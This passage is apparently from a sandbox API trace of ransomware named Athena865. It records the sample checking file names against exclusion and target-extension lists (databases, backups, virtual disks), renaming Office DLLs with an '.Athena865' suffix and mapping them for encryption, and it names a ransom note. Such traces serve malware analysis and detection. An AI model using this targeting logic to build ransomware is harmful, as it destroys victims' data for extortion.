(lpString="scx") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0071.590] lstrlenW (lpString="sdb") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0071.590] lstrlenW (lpString="sdc") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0071.590] lstrlenW (lpString="sdf") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0071.590] lstrlenW (lpString="sis") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0071.590] lstrlenW (lpString="spq") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0071.590] lstrlenW (lpString="te") returned 2 [0071.590] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0071.590] lstrlenW (lpString="teacher") returned 7 [0071.590] lstrcmpiW (lpString1="int.dll", lpString2="teacher") returned -1 [0071.590] lstrlenW (lpString="tmd") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0071.590] lstrlenW (lpString="tps") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0071.590] lstrlenW (lpString="trc") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0071.590] lstrlenW (lpString="trc") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0071.590] lstrlenW (lpString="trm") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0071.590] lstrlenW (lpString="udb") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0071.590] lstrlenW (lpString="udl") returned 3 [0071.590] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0071.591] lstrlenW (lpString="usr") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0071.591] lstrlenW (lpString="v12") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0071.591] lstrlenW (lpString="vis") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0071.591] lstrlenW (lpString="vpd") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0071.591] lstrlenW (lpString="vvv") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0071.591] lstrlenW (lpString="wdb") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0071.591] lstrlenW (lpString="wmdb") returned 4 [0071.591] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0071.591] lstrlenW (lpString="wrk") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0071.591] lstrlenW (lpString="xdb") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0071.591] lstrlenW (lpString="xld") returned 3 [0071.591] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0071.591] lstrlenW (lpString="xmlff") returned 5 [0071.591] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0071.591] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.Athena865") returned 69 [0071.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.athena865"), dwFlags=0x1) returned 1 [0071.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKPowerPoint.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkpowerpoint.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.593] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2780032) returned 1 [0071.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.593] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.594] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.594] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.594] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a6e80, lpName=0x0) returned 0x17c [0071.596] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xa6e80) returned 0x2d50000 [0071.626] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0071.701] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0071.718] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.719] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.719] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.719] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.719] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.726] CloseHandle (hObject=0x17c) returned 1 [0071.726] CloseHandle (hObject=0x154) returned 1 [0071.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.735] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2=".") returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="..") returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="windows") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="bootmgr") returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="temp") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="pagefile.sys") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="boot") returned 1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="ids.txt") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="ntuser.dat") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="perflogs") returned -1 [0071.735] lstrcmpiW (lpString1="GKWord.dll", lpString2="MSBuild") returned -1 [0071.735] lstrlenW (lpString="GKWord.dll") returned 10 [0071.735] lstrcpyW (in: lpString1=0x241e89e, lpString2="GKWord.dll" | out: lpString1="GKWord.dll") returned="GKWord.dll" [0071.735] lstrlenW (lpString="GKWord.dll") returned 10 [0071.735] lstrlenW (lpString="Athena865") returned 9 [0071.735] lstrcmpiW (lpString1="KWord.dll", lpString2="Athena865") returned 1 [0071.735] lstrlenW (lpString=".dll") returned 4 [0071.736] lstrcmpiW (lpString1="GKWord.dll", lpString2=".dll") returned 1 [0071.736] lstrlenW (lpString=".lnk") returned 4 [0071.736] lstrcmpiW (lpString1="GKWord.dll", lpString2=".lnk") returned 1 [0071.736] lstrlenW (lpString=".ini") returned 4 [0071.736] lstrcmpiW (lpString1="GKWord.dll", lpString2=".ini") returned 1 [0071.736] lstrlenW (lpString=".sys") returned 4 [0071.736] lstrcmpiW (lpString1="GKWord.dll", lpString2=".sys") returned 1 [0071.736] lstrlenW (lpString="GKWord.dll") returned 10 [0071.736] lstrlenW (lpString="bak") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0071.736] lstrlenW (lpString="ba_") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0071.736] lstrlenW (lpString="dbb") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0071.736] lstrlenW (lpString="vmdk") returned 4 [0071.736] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0071.736] lstrlenW (lpString="rar") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0071.736] lstrlenW (lpString="zip") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0071.736] lstrlenW (lpString="tgz") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0071.736] lstrlenW (lpString="vbox") returned 4 [0071.736] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0071.736] lstrlenW (lpString="vdi") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0071.736] lstrlenW (lpString="vhd") returned 3 [0071.736] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0071.736] lstrlenW (lpString="vhdx") returned 4 [0071.736] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0071.736] lstrlenW (lpString="avhd") returned 4 [0071.736] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0071.736] lstrlenW (lpString="db") returned 2 [0071.736] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0071.737] lstrlenW (lpString="db2") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0071.737] lstrlenW (lpString="db3") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0071.737] lstrlenW (lpString="dbf") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0071.737] lstrlenW (lpString="mdf") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0071.737] lstrlenW (lpString="mdb") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0071.737] lstrlenW (lpString="sql") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0071.737] lstrlenW (lpString="sqlite") returned 6 [0071.737] lstrcmpiW (lpString1="rd.dll", lpString2="sqlite") returned -1 [0071.737] lstrlenW (lpString="sqlite3") returned 7 [0071.737] lstrcmpiW (lpString1="ord.dll", lpString2="sqlite3") returned -1 [0071.737] lstrlenW (lpString="sqlitedb") returned 8 [0071.737] lstrcmpiW (lpString1="Word.dll", lpString2="sqlitedb") returned 1 [0071.737] lstrlenW (lpString="xml") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0071.737] lstrlenW (lpString="$er") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0071.737] lstrlenW (lpString="4dd") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0071.737] lstrlenW (lpString="4dl") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0071.737] lstrlenW (lpString="^^^") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0071.737] lstrlenW (lpString="abs") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0071.737] lstrlenW (lpString="abx") returned 3 [0071.737] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0071.737] lstrlenW (lpString="accdb") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accdb") returned 1 [0071.738] lstrlenW (lpString="accdc") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accdc") returned 1 [0071.738] lstrlenW (lpString="accde") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accde") returned 1 [0071.738] lstrlenW (lpString="accdr") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accdr") returned 1 [0071.738] lstrlenW (lpString="accdt") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accdt") returned 1 [0071.738] lstrlenW (lpString="accdw") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accdw") returned 1 [0071.738] lstrlenW (lpString="accft") returned 5 [0071.738] lstrcmpiW (lpString1="d.dll", lpString2="accft") returned 1 [0071.738] lstrlenW (lpString="adb") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0071.738] lstrlenW (lpString="adb") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0071.738] lstrlenW (lpString="ade") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0071.738] lstrlenW (lpString="adf") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0071.738] lstrlenW (lpString="adn") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0071.738] lstrlenW (lpString="adp") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0071.738] lstrlenW (lpString="alf") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0071.738] lstrlenW (lpString="ask") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0071.738] lstrlenW (lpString="btr") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0071.738] lstrlenW (lpString="cat") returned 3 [0071.738] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0071.738] lstrlenW (lpString="cdb") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0071.739] lstrlenW (lpString="ckp") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0071.739] lstrlenW (lpString="cma") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0071.739] lstrlenW (lpString="cpd") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0071.739] lstrlenW (lpString="dacpac") returned 6 [0071.739] lstrcmpiW (lpString1="rd.dll", lpString2="dacpac") returned 1 [0071.739] lstrlenW (lpString="dad") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0071.739] lstrlenW (lpString="dadiagrams") returned 10 [0071.739] lstrlenW (lpString="daschema") returned 8 [0071.739] lstrcmpiW (lpString1="Word.dll", lpString2="daschema") returned 1 [0071.739] lstrlenW (lpString="db-journal") returned 10 [0071.739] lstrlenW (lpString="db-shm") returned 6 [0071.739] lstrcmpiW (lpString1="rd.dll", lpString2="db-shm") returned 1 [0071.739] lstrlenW (lpString="db-wal") returned 6 [0071.739] lstrcmpiW (lpString1="rd.dll", lpString2="db-wal") returned 1 [0071.739] lstrlenW (lpString="dbc") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0071.739] lstrlenW (lpString="dbs") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0071.739] lstrlenW (lpString="dbt") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0071.739] lstrlenW (lpString="dbv") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0071.739] lstrlenW (lpString="dbx") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0071.739] lstrlenW (lpString="dcb") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0071.739] lstrlenW (lpString="dct") returned 3 [0071.739] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0071.739] lstrlenW (lpString="dcx") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0071.740] lstrlenW (lpString="ddl") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0071.740] lstrlenW (lpString="dlis") returned 4 [0071.740] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0071.740] lstrlenW (lpString="dp1") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0071.740] lstrlenW (lpString="dqy") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0071.740] lstrlenW (lpString="dsk") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0071.740] lstrlenW (lpString="dsn") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0071.740] lstrlenW (lpString="dtsx") returned 4 [0071.740] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0071.740] lstrlenW (lpString="dxl") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0071.740] lstrlenW (lpString="eco") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0071.740] lstrlenW (lpString="ecx") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0071.740] lstrlenW (lpString="edb") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0071.740] lstrlenW (lpString="epim") returned 4 [0071.740] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0071.740] lstrlenW (lpString="fcd") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0071.740] lstrlenW (lpString="fdb") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0071.740] lstrlenW (lpString="fic") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0071.740] lstrlenW (lpString="flexolibrary") returned 12 [0071.740] lstrlenW (lpString="fm5") returned 3 [0071.740] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0071.741] lstrlenW (lpString="fmp") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0071.741] lstrlenW (lpString="fmp12") returned 5 [0071.741] lstrcmpiW (lpString1="d.dll", lpString2="fmp12") returned -1 [0071.741] lstrlenW (lpString="fmpsl") returned 5 [0071.741] lstrcmpiW (lpString1="d.dll", lpString2="fmpsl") returned -1 [0071.741] lstrlenW (lpString="fol") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0071.741] lstrlenW (lpString="fp3") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0071.741] lstrlenW (lpString="fp4") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0071.741] lstrlenW (lpString="fp5") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0071.741] lstrlenW (lpString="fp7") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0071.741] lstrlenW (lpString="fpt") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0071.741] lstrlenW (lpString="frm") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0071.741] lstrlenW (lpString="gdb") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0071.741] lstrlenW (lpString="gdb") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0071.741] lstrlenW (lpString="grdb") returned 4 [0071.741] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0071.741] lstrlenW (lpString="gwi") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0071.741] lstrlenW (lpString="hdb") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0071.741] lstrlenW (lpString="his") returned 3 [0071.741] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0071.741] lstrlenW (lpString="ib") returned 2 [0071.741] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0071.742] lstrlenW (lpString="idb") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0071.742] lstrlenW (lpString="ihx") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0071.742] lstrlenW (lpString="itdb") returned 4 [0071.742] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0071.742] lstrlenW (lpString="itw") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0071.742] lstrlenW (lpString="jet") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0071.742] lstrlenW (lpString="jtx") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0071.742] lstrlenW (lpString="kdb") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0071.742] lstrlenW (lpString="kexi") returned 4 [0071.742] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0071.742] lstrlenW (lpString="kexic") returned 5 [0071.742] lstrcmpiW (lpString1="d.dll", lpString2="kexic") returned -1 [0071.742] lstrlenW (lpString="kexis") returned 5 [0071.742] lstrcmpiW (lpString1="d.dll", lpString2="kexis") returned -1 [0071.742] lstrlenW (lpString="lgc") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0071.742] lstrlenW (lpString="lwx") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0071.742] lstrlenW (lpString="maf") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0071.742] lstrlenW (lpString="maq") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0071.742] lstrlenW (lpString="mar") returned 3 [0071.742] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0071.742] lstrlenW (lpString="marshal") returned 7 [0071.742] lstrcmpiW (lpString1="ord.dll", lpString2="marshal") returned 1 [0071.742] lstrlenW (lpString="mas") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0071.743] lstrlenW (lpString="mav") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0071.743] lstrlenW (lpString="maw") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0071.743] lstrlenW (lpString="mdbhtml") returned 7 [0071.743] lstrcmpiW (lpString1="ord.dll", lpString2="mdbhtml") returned 1 [0071.743] lstrlenW (lpString="mdn") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0071.743] lstrlenW (lpString="mdt") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0071.743] lstrlenW (lpString="mfd") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0071.743] lstrlenW (lpString="mpd") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0071.743] lstrlenW (lpString="mrg") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0071.743] lstrlenW (lpString="mud") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0071.743] lstrlenW (lpString="mwb") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0071.743] lstrlenW (lpString="myd") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0071.743] lstrlenW (lpString="ndf") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0071.743] lstrlenW (lpString="nnt") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0071.743] lstrlenW (lpString="nrmlib") returned 6 [0071.743] lstrcmpiW (lpString1="rd.dll", lpString2="nrmlib") returned 1 [0071.743] lstrlenW (lpString="ns2") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0071.743] lstrlenW (lpString="ns3") returned 3 [0071.743] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0071.744] lstrlenW (lpString="ns4") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0071.744] lstrlenW (lpString="nsf") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0071.744] lstrlenW (lpString="nv") returned 2 [0071.744] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0071.744] lstrlenW (lpString="nv2") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0071.744] lstrlenW (lpString="nwdb") returned 4 [0071.744] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0071.744] lstrlenW (lpString="nyf") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0071.744] lstrlenW (lpString="odb") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0071.744] lstrlenW (lpString="odb") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0071.744] lstrlenW (lpString="oqy") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0071.744] lstrlenW (lpString="ora") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0071.744] lstrlenW (lpString="orx") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0071.744] lstrlenW (lpString="owc") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0071.744] lstrlenW (lpString="p96") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0071.744] lstrlenW (lpString="p97") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0071.744] lstrlenW (lpString="pan") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0071.744] lstrlenW (lpString="pdb") returned 3 [0071.744] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0071.744] lstrlenW (lpString="pdm") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0071.745] lstrlenW (lpString="pnz") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0071.745] lstrlenW (lpString="qry") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0071.745] lstrlenW (lpString="qvd") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0071.745] lstrlenW (lpString="rbf") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0071.745] lstrlenW (lpString="rctd") returned 4 [0071.745] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0071.745] 